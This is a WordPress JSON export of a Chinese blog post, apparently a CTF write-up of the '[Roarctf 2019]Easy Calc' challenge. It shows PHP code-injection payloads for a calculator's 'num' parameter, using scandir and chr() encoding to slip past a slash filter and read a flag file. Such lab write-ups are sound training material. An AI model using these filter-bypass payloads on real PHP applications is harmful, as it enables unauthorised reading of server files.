{"id":183,"date":"2022-03-06T21:19:00","date_gmt":"2022-03-06T13:19:00","guid":{"rendered":"https:\/\/fushuling.com\/?p=183"},"modified":"2022-11-07T16:44:20","modified_gmt":"2022-11-07T08:44:20","slug":"roarctf-2019easy-calc","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2022\/03\/06\/roarctf-2019easy-calc\/","title":{"rendered":"[Roarctf 2019]Easy Calc"},"content":{"rendered":"\n<p>\u8fdb\u5165\u7f51\u9875\uff0c\u662f\u4e00\u4e2a\u8ba1\u7b97\u5668\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u8ba1\u7b97\u5668\uff0c\u5c31\u662f\u4f60\u8f93\u8ba1\u7b97\u5f0f\u7136\u540e\u5b83\u7ed9\u4f60\u4e2a\u7b54\u6848\u90a3\u79cd\u3002\u53ef\u80fd\u7528\u7684\u662f\u4ec0\u4e48php\u51fd\u6570\u5427\uff0c\u7528f12\u67e5\u4e00\u4e0b\u6e90\u7801\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' 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class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20200602161511398.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20200602161511398.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8bd5\u4e86\u8bd5phpinfo()\u51fd\u6570\uff0c\u6ca1\u53cd\u5e94\uff0c\u5e94\u8be5\u662f\u6ca1\u6709\u8fc7\u6ee4\u51fd\u6570.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/82.157.233.217\/wp-content\/uploads\/2022\/03\/7-1024x620.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/82.157.233.217\/wp-content\/uploads\/2022\/03\/7-1024x620.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-103\"\/><\/div><\/figure>\n\n\n\n<p>\u60f3\u626b\u63cf\u5f53\u524d\u76ee\u5f55\u6240\u6709\u6587\u4ef6\uff0c\u53ef\u4ee5\u4f7f\u7528scandir(&#8220;\/&#8221;)\uff0c\u4f46\u659c\u6760\u88ab\u8fc7\u6ee4\u4e86\u3002\u4e0d\u8fc7\u5b83\u8fd9\u79cd\u8fc7\u6ee4\u5341\u5206\u7b80\u5355\uff0cchr(47)\u662f\u659c\u6760\u7684ascll\u7801\uff0c\u628a\u5b83\u66ff\u6362\u4e86\u5c31\u7ed5\u8fc7\u4e86\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20200602162406583.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20200602162406583.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\u53bb\u7f51\u4e0a\u6284\u4e2a\u4f5c\u4e1a\n? num=print_r(file_get_contents('\/flagg'));\n\u8fd9\u91cc\/=chr(47)\uff0cf=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)\u6765\u8fdb\u884c\u7ed5\u8fc7\n? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/2020060216263582.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/2020060216263582.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NTY3NDU2Nw==,size_16,color_FFFFFF,t_70\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u7ed3\u675f\ud83e\udd70\ud83e\udd70<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8fdb\u5165\u7f51\u9875\uff0c\u662f\u4e00\u4e2a\u8ba1\u7b97\u5668\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u8ba1\u7b97\u5668\uff0c\u5c31\u662f\u4f60\u8f93\u8ba1\u7b97\u5f0f\u7136\u540e\u5b83\u7ed9\u4f60\u4e2a\u7b54\u6848\u90a3\u79cd\u3002\u53ef\u80fd\u7528\u7684\u662f\u4ec0\u4e48php\u51fd\u6570\u5427\uff0c\u7528f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-183","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/183","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=183"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/183\/revisions"}],"predecessor-version":[{"id":184,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/183\/revisions\/184"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=183"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=183"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=183"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}